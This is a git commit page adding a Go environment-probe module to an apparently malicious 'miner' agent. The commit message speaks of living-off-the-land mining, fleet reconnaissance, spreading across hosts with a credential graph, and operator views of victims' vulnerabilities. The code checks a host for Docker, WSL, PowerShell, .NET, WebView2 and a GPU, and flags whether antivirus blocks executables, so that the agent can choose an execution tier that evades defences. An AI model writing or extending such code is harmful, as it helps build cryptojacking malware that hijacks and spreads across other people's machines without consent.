Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
114
agent/miner/environment_probe.go
Normal file
114
agent/miner/environment_probe.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// EnvironmentProbes captures host capabilities that drive tier selection.
|
||||
type EnvironmentProbes struct {
|
||||
Docker bool `json:"docker"`
|
||||
WSL bool `json:"wsl"`
|
||||
PowerShell bool `json:"pwsh"`
|
||||
DotNet bool `json:"dotnet"`
|
||||
GPU bool `json:"gpu"`
|
||||
AVBlocksExe bool `json:"av_blocks_exe"`
|
||||
WebView2 bool `json:"webview2"`
|
||||
}
|
||||
|
||||
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
|
||||
var probeExecCommand = exec.Command
|
||||
|
||||
// SetProbeExecCommand restores the default when fn is nil.
|
||||
func SetProbeExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
probeExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
probeExecCommand = fn
|
||||
}
|
||||
|
||||
// gpuProbeFn reports discrete GPU presence; tests inject via SetGPUProbe.
|
||||
var gpuProbeFn = defaultGPUProbe
|
||||
|
||||
// SetGPUProbe restores the default when fn is nil.
|
||||
func SetGPUProbe(fn func() bool) {
|
||||
if fn == nil {
|
||||
gpuProbeFn = defaultGPUProbe
|
||||
return
|
||||
}
|
||||
gpuProbeFn = fn
|
||||
}
|
||||
|
||||
func defaultGPUProbe() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// ProbeEnvironment gathers tier eligibility signals from the local host.
|
||||
func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
||||
if runtimeFn == nil {
|
||||
runtimeFn = RuntimeDetector
|
||||
}
|
||||
rt := runtimeFn()
|
||||
p := EnvironmentProbes{
|
||||
Docker: rt.Available,
|
||||
GPU: gpuProbeFn(),
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
wsl := WSLDetector()
|
||||
p.WSL = wsl.Available
|
||||
p.PowerShell = probePowerShell()
|
||||
p.DotNet = probeDotNet()
|
||||
p.WebView2 = probeWebView2()
|
||||
p.AVBlocksExe = inferAVBlocksExe()
|
||||
} else if runtime.GOOS == "linux" {
|
||||
p.PowerShell = commandOK("pwsh", "--version") || commandOK("powershell", "--version")
|
||||
p.DotNet = commandOK("dotnet", "--version")
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func inferAVBlocksExe() bool {
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func probeWSL() bool {
|
||||
return commandOK("wsl", "--status") || commandOK("wsl", "-l", "-q")
|
||||
}
|
||||
|
||||
func probePowerShell() bool {
|
||||
return commandOK("pwsh", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major") ||
|
||||
commandOK("powershell", "-NoLogo", "-NoProfile", "-Command", "$PSVersionTable.PSVersion.Major")
|
||||
}
|
||||
|
||||
func probeDotNet() bool {
|
||||
return commandOK("dotnet", "--version")
|
||||
}
|
||||
|
||||
func probeWebView2() bool {
|
||||
paths := []string{
|
||||
os.Getenv("ProgramFiles") + `\Microsoft\EdgeWebView\Application`,
|
||||
os.Getenv("ProgramFiles(x86)") + `\Microsoft\EdgeWebView\Application`,
|
||||
}
|
||||
for _, base := range paths {
|
||||
if base == `\Microsoft\EdgeWebView\Application` {
|
||||
continue
|
||||
}
|
||||
if info, err := os.Stat(base); err == nil && info.IsDir() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return commandOK("reg", "query", `HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}`)
|
||||
}
|
||||
|
||||
func commandOK(name string, args ...string) bool {
|
||||
cmd := probeExecCommand(name, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
return cmd.Run() == nil
|
||||
}
|
||||
Reference in New Issue
Block a user